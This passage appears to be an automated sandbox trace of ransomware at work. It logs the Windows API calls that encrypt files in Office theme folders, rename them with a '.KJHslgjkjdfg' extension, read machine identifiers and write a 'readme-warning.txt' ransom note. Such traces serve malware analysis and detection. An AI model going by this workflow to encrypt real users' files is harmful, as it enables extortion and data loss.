(in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.425] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.425] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xf, lpOverlapped=0x0) returned 1 [0178.427] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.427] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.427] GetProcessHeap () returned 0x990000 [0178.427] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.427] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0178.427] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.427] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0178.427] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.427] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.427] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.428] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.428] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.428] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.428] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.428] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.428] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x271, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x271, lpOverlapped=0x0) returned 1 [0178.428] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x280, dwBufLen=0x280 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x280) returned 1 [0178.428] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.428] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x280, lpOverlapped=0x0) returned 1 [0178.428] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.428] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.428] SetEndOfFile (hFile=0x12c) returned 1 [0178.431] GetProcessHeap () returned 0x990000 [0178.431] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.431] GetProcessHeap () returned 0x990000 [0178.431] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.431] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf.kjhslgjkjdfg")) returned 1 [0178.441] CloseHandle (hObject=0x12c) returned 1 [0178.441] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0178.441] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.442] GetProcessHeap () returned 0x990000 [0178.443] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.443] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.443] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.443] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x9, lpOverlapped=0x0) returned 1 [0178.449] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.449] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.449] GetProcessHeap () returned 0x990000 [0178.449] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.449] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0178.449] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.449] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0178.449] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.449] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.449] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.449] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.450] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.450] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.450] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.450] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.450] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x82c7, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x82c7, lpOverlapped=0x0) returned 1 [0178.459] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x82d0, dwBufLen=0x82d0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x82d0) returned 1 [0178.459] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.459] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x82d0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x82d0, lpOverlapped=0x0) returned 1 [0178.459] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.460] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x83a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.460] SetEndOfFile (hFile=0x12c) returned 1 [0178.463] GetProcessHeap () returned 0x990000 [0178.463] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.463] GetProcessHeap () returned 0x990000 [0178.463] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.463] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0178.468] CloseHandle (hObject=0x12c) returned 1 [0178.468] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0178.468] GetProcessHeap () returned 0x990000 [0178.468] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.469] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.469] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0178.469] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.469] GetProcessHeap () returned 0x990000 [0178.469] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0178.469] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.469] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0178.469] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.469] GetProcessHeap () returned 0x990000 [0178.469] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fd9f0 [0178.469] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.469] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fd9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fd9f0, pdwDataLen=0x29dee20) returned 1 [0178.469] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.469] GetProcessHeap () returned 0x990000 [0178.469] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0178.469] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.469] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0178.470] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.470] GetProcessHeap () returned 0x990000 [0178.470] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0178.470] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.470] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0178.470] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.470] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0178.470] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0178.470] RegCloseKey (hKey=0x12c) returned 0x0 [0178.470] GetProcessHeap () returned 0x990000 [0178.470] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0178.470] GetProcessHeap () returned 0x990000 [0178.470] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0178.470] GetProcessHeap () returned 0x990000 [0178.470] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0178.471] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.471] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0178.471] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.471] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0178.471] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0178.471] GetProcessHeap () returned 0x990000 [0178.471] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0178.471] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0178.471] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0178.471] GetProcessHeap () returned 0x990000 [0178.471] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0178.471] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\readme-warning.txt") returned 83 [0178.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.472] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0178.473] CloseHandle (hObject=0x12c) returned 1 [0178.473] GetProcessHeap () returned 0x990000 [0178.473] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fd9f0 | out: hHeap=0x990000) returned 1 [0178.473] GetProcessHeap () returned 0x990000 [0178.473] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0178.473] GetProcessHeap () returned 0x990000 [0178.473] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0178.473] GetProcessHeap () returned 0x990000 [0178.473] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.473] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0178.474] GetProcessHeap () returned 0x990000 [0178.474] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0178.474] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STUDIO", cAlternateFileName="")) returned 1 [0178.474] GetProcessHeap () returned 0x990000 [0178.474] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8e) returned 0x9b0940 [0178.474] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0178.474] GetProcessHeap () returned 0x990000 [0178.474] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0178.474] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0178.475] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x68b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0178.475] GetProcessHeap () returned 0x990000 [0178.475] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x290) returned 0x9b1eb0 [0178.475] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.479] GetProcessHeap () returned 0x990000 [0178.479] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.479] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.479] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.479] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x5, lpOverlapped=0x0) returned 1 [0178.482] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.482] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.482] GetProcessHeap () returned 0x990000 [0178.482] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.482] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0178.482] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.482] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0178.547] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.547] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.547] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.548] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.548] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.548] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.548] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.548] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.548] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x68b, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x68b, lpOverlapped=0x0) returned 1 [0178.548] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x690, dwBufLen=0x690 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x690) returned 1 [0178.548] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.548] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, 